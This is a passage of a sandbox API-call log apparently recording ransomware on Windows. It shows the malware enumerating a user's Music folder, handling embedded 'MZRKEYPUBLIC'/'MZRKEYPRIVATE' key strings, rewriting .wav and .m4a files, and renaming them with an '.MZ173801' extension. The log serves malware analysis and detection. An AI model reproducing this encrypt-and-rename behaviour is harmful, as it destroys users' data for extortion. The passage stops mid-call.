lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.702] GetCurrentThreadId () returned 0xab4 [0158.702] GetCurrentThreadId () returned 0xab4 [0158.702] GetCurrentThreadId () returned 0xab4 [0158.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.702] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0158.702] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.702] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x18448 [0158.702] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.702] ReadFile (in: hFile=0x290, lpBuffer=0x25009e0, nNumberOfBytesToRead=0x18448, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x25009e0*, lpNumberOfBytesRead=0x19f480*=0x18448, lpOverlapped=0x0) returned 1 [0158.719] CloseHandle (hObject=0x290) returned 1 [0158.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.722] WriteFile (in: hFile=0x290, lpBuffer=0x251aa10*, nNumberOfBytesToWrite=0x18448, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x251aa10*, lpNumberOfBytesWritten=0x19f48c*=0x18448, lpOverlapped=0x0) returned 1 [0158.725] CloseHandle (hObject=0x290) returned 1 [0158.728] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav.mz173801")) returned 1 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] GetCurrentThreadId () returned 0xab4 [0158.728] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x23e69ff0, ftLastAccessTime.dwHighDateTime=0x1d5e77e, ftLastWriteTime.dwLowDateTime=0x23e69ff0, ftLastWriteTime.dwHighDateTime=0x1d5e77e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="JsYf-A6h4Bx", cAlternateFileName="JSYF-A~1")) returned 1 [0158.728] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0xcbd392c0, ftLastAccessTime.dwHighDateTime=0x1d5e271, ftLastWriteTime.dwLowDateTime=0xcbd392c0, ftLastWriteTime.dwHighDateTime=0x1d5e271, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="LFHpZh3EGDvVG", cAlternateFileName="LFHPZH~1")) returned 1 [0158.728] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088cc90, ftCreationTime.dwHighDateTime=0x1d5e85b, ftLastAccessTime.dwLowDateTime=0xc982e580, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0xc982e580, ftLastWriteTime.dwHighDateTime=0x1d5e3f1, nFileSizeHigh=0x0, nFileSizeLow=0x3374, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="xC-u2wjwqhihKd-.m4a", cAlternateFileName="XC-U2W~1.M4A")) returned 1 [0158.729] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.729] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088cc90, ftCreationTime.dwHighDateTime=0x1d5e85b, ftLastAccessTime.dwLowDateTime=0xc982e580, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0xc982e580, ftLastWriteTime.dwHighDateTime=0x1d5e3f1, nFileSizeHigh=0x0, nFileSizeLow=0x3374)) returned 1 [0158.729] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a")) returned 0x20 [0158.729] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a", dwFileAttributes=0x80) returned 1 [0158.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24eeeac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.731] GetCurrentThreadId () returned 0xab4 [0158.731] GetCurrentThreadId () returned 0xab4 [0158.731] GetCurrentThreadId () returned 0xab4 [0158.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24fff0c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.732] GetCurrentThreadId () returned 0xab4 [0158.732] GetCurrentThreadId () returned 0xab4 [0158.732] GetCurrentThreadId () returned 0xab4 [0158.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.732] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0158.732] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.732] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x3374 [0158.732] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.732] ReadFile (in: hFile=0x290, lpBuffer=0x2507d10, nNumberOfBytesToRead=0x3374, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x2507d10*, lpNumberOfBytesRead=0x19f480*=0x3374, lpOverlapped=0x0) returned 1 [0158.733] CloseHandle (hObject=0x290) returned 1 [0158.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\xC-u2wjwqhihKd-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\xc-u2wjwqhihkd-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.735] WriteFile (in: hFile=0x290, lpBuffer=0x250bd40*, nNumberOfBytesToWrite=0x3374, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: 